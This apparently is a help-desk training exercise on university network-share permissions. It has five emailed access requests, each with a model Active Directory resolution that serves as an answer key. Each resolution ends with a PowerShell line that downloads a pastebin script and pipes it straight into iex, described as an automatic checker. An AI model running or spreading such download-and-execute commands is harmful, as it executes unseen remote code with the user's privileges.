NS Permission Management

Permissions allow users to access, in the way that’s deemed necessary, files, folders, and much more. Since we’re focused on network shares in this section, we’ll focus on that. We try not to micro-manage the permissions of shares beyond the first three levels of the share. Doing so starts to get unyielding and requires a lot more effort that it’s worth.

Staff Member Needs Access

Emailed Request:

My boss told me to get my colleague up to speed on what we do around here. I need her to have the same access as I do. What do we need to do?

Here’s her info: Malena Dex Ricci (mdr00001).

Thanks,
Randall A. Royce
Randall.Royce@donotreply.unt.edu

Resolution …

You should first evaluate what AD groups Randall is a member of. Upon doing so, you will discover there are two AD groups. The requestor is not the manager of either group. Both managers will need to grant permission. Here are the groups and managers: - CASlab-S-ENGL-FacStaff; Manager: Grace Wyatt (gcw00001) - CASlab-S-TWL-FacStaff; Manager: Gwen Faulkner (gcf00001) Only permission will be granted for the CASlab-S-TWL-FacStaff AD group. The customer will be notified and told to take any concerns to the manager. This can be evaluated automatically with this PowerShell script:

$section = 'NSP1'; iwr 'https://pastebin.com/raw/tQ95Q7Xh' -UseB | iex

Student Employee Needs Access

Emailed Request:

Our new student employee needs to be able to see, not change, the files in our FacStaff folder. She will also need to be able to add files to our Incoming Faxes folder. Here are the specific details

Trudy N. Cock (tnc00001)

S:\HIST\FacStaff

S:\HIST\Incoming Faxes

Thanks,
Gisella J. Falconer
Gisella.Falconer@donotreply.unt.edu

Resolution …

You should first evaluate what AD groups manage those folders. It turns out that Gisella is the manager of both AD groups. Here are the groups: - CASlab-S-HIST-FacStaff - CASlab-S-HIST-Incoming_Faxes You will add tnc00001 to both AD groups. This can be evaluated automatically with this PowerShell script:

$section = 'NSP2'; iwr 'https://pastebin.com/raw/tQ95Q7Xh' -UseB | iex

Staff Member No Longer Needs Access

Emailed Request:

One of our employees (Cletus Wheeler – clw00001) has moved to another department. Can you please remove his access to the S:\WGS\FacStaff share?

Thanks,
Barthélémy Nannie Sessions
Barthelemy.Sessions@donotreply.unt.edu

Resolution …

You should determine that Cletus is managed by Barthélémy. After finding that he is, he should remove him from the AD group: CASlab-S-WGS-FacStaff. Cletus is also a member of the following AD groups. You should ask the customer about these as well: - CASlab-S-WGS-Academia - CASlab-S-HIST-Incoming_Faxes - Cletus is moving to History, so he will need to be removed from the AD group: CASlab-S-WGS-Academia. Cletus’ AD account should also be moved to the HIST OU. You might also consider contacting the History department to proactively get Cletus put into the appropriate AD groups. This can be evaluated automatically with this PowerShell script:

$section = 'NSP3'; iwr 'https://pastebin.com/raw/tQ95Q7Xh' -UseB | iex

New Department Needs All Things

Emailed Request:

We have a new department getting formed: Non-Technical Writing Lab (NTWL)

Please make all of the things that all of our departments have:

OU

Faculty and Staff separate AD Groups

Space on the shared drive with a subfolder for FacStaffFacStaff

Anything else you think I’m missing…

Signed,
Timothy J Christianson
Timothy.Christianson@donotreply.unt.edu
Your Boss

Resolution …

This is from your boss; as shown in the signature. Do all of the things that were stated: - Create an NTWL OU under CAS Support. - Create the following AD Groups: - CASlab-NTWL-Faculty - CASlab-NTWL-Staff - CASlab-S-NTWL-FacStaff - Additionally, discovery should show that all departments have a student employees AD group. So, you should also create the following AD group: - CASlab-NTWL-StudentEmployees This can be evaluated automatically with this PowerShell script:

$section = 'NSP4'; iwr 'https://pastebin.com/raw/tQ95Q7Xh' -UseB | iex

Unable to Access Network Location

Emailed Request:

I’m unable to access a location that I need. I think I used to be able to access it. Can you help?

S:\PSCI\Committees

Signed,
Jarvis P. Piper
Jarvis.Piper@donotreply.unt.edu

Resolution …

The user is not a member of the CAS-S-PSCI-Committees AD group, but he is a member of the AD group that is listed as the manager. You should add jpp00001 to the CAS-S-PSCI-Committees AD group. This can be evaluated automatically with this PowerShell script:

$section = 'NSP5'; iwr 'https://pastebin.com/raw/tQ95Q7Xh' -UseB | iex